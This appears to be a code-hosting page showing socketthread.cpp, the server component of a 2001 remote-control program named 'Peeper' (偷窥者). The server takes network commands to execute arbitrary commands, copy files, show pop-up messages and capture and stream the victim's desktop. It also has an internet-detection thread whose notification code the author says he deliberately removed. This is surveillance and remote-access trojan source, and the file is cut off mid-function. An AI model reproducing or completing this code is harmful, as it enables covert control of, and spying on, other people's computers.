📄 socketthread.cpp
字号:
///////////////////////////////////////////////////////////////////////////////
// 远程控制软件-偷窥者 服务器端 //
// 日期:2001/10/02 //
// 作者:刘东发 //
// Email:dongfa@yeah.net //
// http://dongfa.yeah.net //
// 作者声明: //
// 此部分代码全是作者所写,可以随便传播,但要保持文件的完整性,有问题 //
// 或者意见请来信,谢谢! //
///////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "SocketThread.h"
static CWinThread *g_pSendDIBThread = NULL;
static CWinThread *g_pWaitCommandThread = NULL;
static CWinThread *g_pSendInfoThread = NULL;
static CString g_strAString = _T("");
static int g_nAInt = 0;
UINT SendInfoThread(LPVOID lParam)
{
BOOL bSend = FALSE;
while(1)
{
BOOL bOk = ::PL_DetectInternetConnect();
if(bOk)
{
TRACE("网络已连接......\n");
if(!bSend)
{
//此处删掉一些代码。。。。。。呵呵~~~~
bSend = bOk;
}
}
else
{
bSend = FALSE;
}
::Sleep(10000);
}
return 0;
}
UINT WaitCommandThread(LPVOID lParam)
{
BYTE chFlag = (BYTE)lParam;
switch(chFlag)
{
case PL_MSG:
{
if(g_strAString.GetLength() > 0)
{
::MessageBox(NULL, g_strAString, _T("Warning!"),
MB_OK | MB_ICONINFORMATION | MB_SYSTEMMODAL);
g_strAString = _T("");
}
}
break ;
case PL_FUNC_EXEC:
{
if(g_strAString.GetLength() > 0)
{
::PL_ExecuteCommand(g_strAString.GetBuffer(0));
g_strAString.ReleaseBuffer();
g_strAString = _T("");
}
}
break ;
case PL_FUNC_FILE_COPY_S:
{
if(g_strAString.GetLength() > 0 && g_nAInt > 0)
{
::PL_CopyFileServer(g_nAInt, g_strAString.GetBuffer(0), FALSE, NULL);
g_strAString.ReleaseBuffer();
g_strAString = _T("");
g_nAInt = 0;
}
}
break ;
case PL_FUNC_FILE_COPY_C:
{
if(g_strAString.GetLength() > 0 && g_nAInt > 0)
{
::PL_CopyFileServer(g_nAInt, g_strAString.GetBuffer(0), TRUE, NULL);
g_strAString.ReleaseBuffer();
g_strAString = _T("");
g_nAInt = 0;
}
}
break ;
default :
break ;
}
g_pWaitCommandThread = NULL;
return 0;
}
UINT SendDIBThread(LPVOID lParam)
{
int nRet = -1;
SOCKET s = (SOCKET)lParam;
//wait client receive
BYTE chData[20];
ZeroMemory(chData, 20);
nRet = ::PL_ReadSocketData(s, chData, 20, NULL);
if(nRet > 0)
{
HWND hDesktopWnd = ::GetDesktopWindow();
HBITMAP hBmp = ::PL_GetBitmap(hDesktopWnd);
HDIB hDib = NULL;
PL_ColorType ctColor = *((PL_ColorType *)(chData));
PL_ZipType ztZip = *((PL_ZipType *)(chData+sizeof(PL_ColorType)));
int nBits = 4;
switch(ctColor)
{
case color_1:
{
nBits = 1;
}
break ;
case color_4:
{
nBits = 4;
}
break ;
case color_8:
{
nBits = 8;
}
break ;
case color_24:
{
nBits = 24;
}
break ;
default :
{
nBits = 4;
}
break ;
}
hDib = ::PL_BmpToDIB(hBmp, NULL, nBits);
switch(ztZip)
{
case zip_none:
{
;
}
break ;
case zip_lz77:
{
HDIB hZipDib = (HDIB)::PL_LZ77_Zip(hDib);
::GlobalFree(hDib);
hDib = hZipDib;
}
break ;
case zip_lzw:
{
HDIB hZipDib = (HDIB)::PL_LZW_Zip(hDib);
::GlobalFree(hDib);
hDib = hZipDib;
}
break ;
case zip_jpeg:
{
}
break ;
case zip_lzss:
{
HDIB hZipDib = (HDIB)::PL_LZSS_Zip(hDib);
::GlobalFree(hDib);
hDib = hZipDib;
}
break ;
case zip_ari:
{
HDIB hZipDib = (HDIB)::PL_ARI_Zip(hDib);
::GlobalFree(hDib);
hDib = hZipDib;
}
break ;
default :
break ;
}
//send start
SIZE sz = ::PL_GetScreenSize();
int nSize = GlobalSize(hDib);
memcpy(chData, &nSize, sizeof(int));
int cx = sz.cx;
int cy = sz.cy;
memcpy(chData+sizeof(int), &cx, sizeof(int));
memcpy(chData+sizeof(int)*2, &cy, sizeof(int));
nRet = ::PL_SendSocketData(s, chData, sizeof(int)*3, PL_DIB);
//send bits
LPBYTE lpData = (LPBYTE)GlobalLock(hDib);
for(int i = 0; i < nSize/PL_SOCKET_MAXBYTES; i ++)
{
nRet = ::PL_SendSocketData(s, (BYTE *)(lpData+(i*PL_SOCKET_MAXBYTES)),
PL_SOCKET_MAXBYTES);
}
int nRem = nSize - nSize/PL_SOCKET_MAXBYTES*PL_SOCKET_MAXBYTES;
nRet = ::PL_SendSocketData(s, (BYTE *)(lpData + nSize/PL_SOCKET_MAXBYTES*PL_SOCKET_MAXBYTES), nRem);
GlobalUnlock(hDib);
::DeleteObject(hBmp);
GlobalFree(hDib);
}
g_pSendDIBThread = NULL;
return 0;
}
CSocketThread::CSocketThread(UINT uPort)
{
m_uPort = uPort;
m_sckClient[0] = INVALID_SOCKET;
m_sckClient[1] = INVALID_SOCKET;
m_sckServer = INVALID_SOCKET;
m_nBits = 4;
}
CSocketThread::~CSocketThread()
{
if(g_pSendInfoThread != NULL)
{
::TerminateThread(g_pSendInfoThread->m_hThread, 0);
::WaitForSingleObject(g_pSendInfoThread->m_hThread, INFINITE);
g_pSendInfoThread = NULL;
}
::PL_TermSocket();
ExitServer();
}
int CSocketThread::Run()
{
g_pSendInfoThread = AfxBeginThread(SendInfoThread, NULL, THREAD_PRIORITY_IDLE);
while(1)
{
if(CreateServer())
{
BYTE *chData = new BYTE[PL_SOCKET_MAXBYTES+1];
while(1)
{
ZeroMemory(chData, PL_SOCKET_MAXBYTES+1);
int nRet = ::PL_ReadSocketData(m_sckClient[0], chData, PL_SOCKET_MAXBYTES, NULL);
if(nRet != SOCKET_ERROR)
{
// 处理命令
nRet = DoReceive(chData, nRet);
}
else
{
TRACE(_T("接收数据错误,客户已经断开了......\n"));
break ;
}
}
delete []chData;
chData = NULL;
}
ExitServer();
}
return ExitInstance();
}
int CSocketThread::DoReceive(BYTE *chData, int nLen)
{
int nRet = 0;
switch(chData[0])//第一个字符为命令
{
case PL_PEEPER_VER://取服务端版本
{
char chTemp[15];
ZeroMemory(chTemp, 15);
sprintf(chTemp, "%s", PEEPER_SERVER_VER_15);
::PL_SendSocketData(m_sckClient[0], (BYTE *)chTemp, strlen(chTemp),
PL_PEEPER_VER);
}
break ;
case PL_CLOSE_PEEPER://关闭服务,退出程序
{
ExitServer();
ExitThread(0);
}
break ;
case PL_CLIENT_CLOSE://关闭连接
{
ExitServer();
}
break ;
case PL_MSG://显示一个对话框信息,使用了线程
{
g_strAString.Format(_T("%s"), chData+1);
if(g_pWaitCommandThread != NULL)
{
::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
g_pWaitCommandThread = NULL;
}
g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, (LPVOID)PL_MSG);
}
break ;
case PL_DIB://获得桌面图像
{
if(g_pSendDIBThread != NULL)
{
::TerminateThread(g_pSendDIBThread->m_hThread, 0);
::WaitForSingleObject(g_pSendDIBThread->m_hThread, INFINITE);
g_pSendDIBThread = NULL;
}
g_pSendDIBThread = AfxBeginThread(SendDIBThread, (LPVOID)m_sckClient[1]);
}
break ;
case PL_DIB_BITS://桌面图像颜色数
{
m_nBits = *((int*)(chData+1));
}
break ;
case PL_SCREEN_SIZE://显示器分辨率
{
int cx = ::GetSystemMetrics(SM_CXSCREEN);
int cy = ::GetSystemMetrics(SM_CYSCREEN);
BYTE chTemp[15];
ZeroMemory(chTemp, 15);
memcpy(chTemp, &cx, sizeof(int));
memcpy(chTemp + sizeof(int), &cy, sizeof(int));
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -